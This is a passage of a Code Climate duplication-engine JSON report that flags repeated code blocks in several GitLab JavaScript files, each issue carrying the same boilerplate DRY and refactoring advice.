comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d440b0e1b0cca3d485fda9e0c4aaee09","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/issue_status_select.js","lines":{"begin":3,"end":25}},"remediation_points":4710000,"other_locations":[{"path":"app/assets/javascripts/subscription_select.js","lines":{"begin":3,"end":26}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 192**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d85cea2030ab41431ddc90787eb11389","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/blob/template_selectors/ci_yaml_selector.js","lines":{"begin":5,"end":32}},"remediation_points":4620000,"other_locations":[{"path":"app/assets/javascripts/blob/template_selectors/dockerfile_selector.js","lines":{"begin":5,"end":32}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 189**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4a9d91d82457a2a845b5366d5f0ce5b4","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/blob/template_selectors/dockerfile_selector.js","lines":{"begin":5,"end":32}},"remediation_points":4620000,"other_locations":[{"path":"app/assets/javascripts/blob/template_selectors/ci_yaml_selector.js","lines":{"begin":5,"end":32}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 189**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9a6d28971082883e9748dd3bac2a6695","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":316,"end":324}},"remediation_points":1470000,"other_locations":[{"path":"app/assets/javascripts/commit/pipelines/pipelines_bundle.js","lines":{"begin":34,"end":42}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 84**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5595f472c12029fb0da2e625d62d94d6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/commit/pipelines/pipelines_bundle.js","lines":{"begin":34,"end":42}},"remediation_points":1470000,"other_locations":[{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":316,"end":324}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 84**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"30d9e8739fb74a1a2a7618b85b5e6f7a","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1204,"end":1222}},"remediation_points":3990000,"other_locations":[{"path":"app/assets/javascripts/notes.js","lines":{"begin":1222,"end":1240}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 168**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4725f16bae793b141b64c0921a6539b7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1222,"end":1240}},"remediation_points":3990000,"other_locations":[{"path":"app/assets/javascripts/notes.js","lines":{"begin":1204,"end":1222}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 168**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4725f16bae793b141b64c0921a6539b7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":13,"end":37}},"remediation_points":2280000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":49,"end":70}},{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":82,"end":104}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 111**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"bc78d02c62558d8dc38d2567eaf302a7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":49,"end":70}},"remediation_points":2280000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":13,"end":37}},{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":82,"end":104}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 111**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"bc78d02c62558d8dc38d2567eaf302a7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":82,"end":104}},"remediation_points":2280000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":13,"end":37}},{"path":"app/assets/javascripts/ide/stores/actions/merge_request.js","lines":{"begin":49,"end":70}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 111**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"bc78d02c62558d8dc38d2567eaf302a7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/group_avatar.js","lines":{"begin":3,"end":14}},"remediation_points":3810000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/shared/project_avatar.js","lines":{"begin":3,"end":15}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 162**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"90682f4af3abe93c6405cd6eb215e9c6","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/shared/project_avatar.js","lines":{"begin":3,"end":15}},"remediation_points":3810000,"other_locations":[{"path":"app/assets/javascripts/group_avatar.js","lines":{"begin":3,"end":14}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 162**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"67e63301cd433971695d7cc16ff752b2","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/components/new_list_dropdown.js","lines":{"begin":14,"end":23}},"remediation_points":1350000,"other_locations":[{"path":"app/assets/javascripts/boards/components/new_list_dropdown.js","lines":{"begin":66,"end":75}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 80**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract 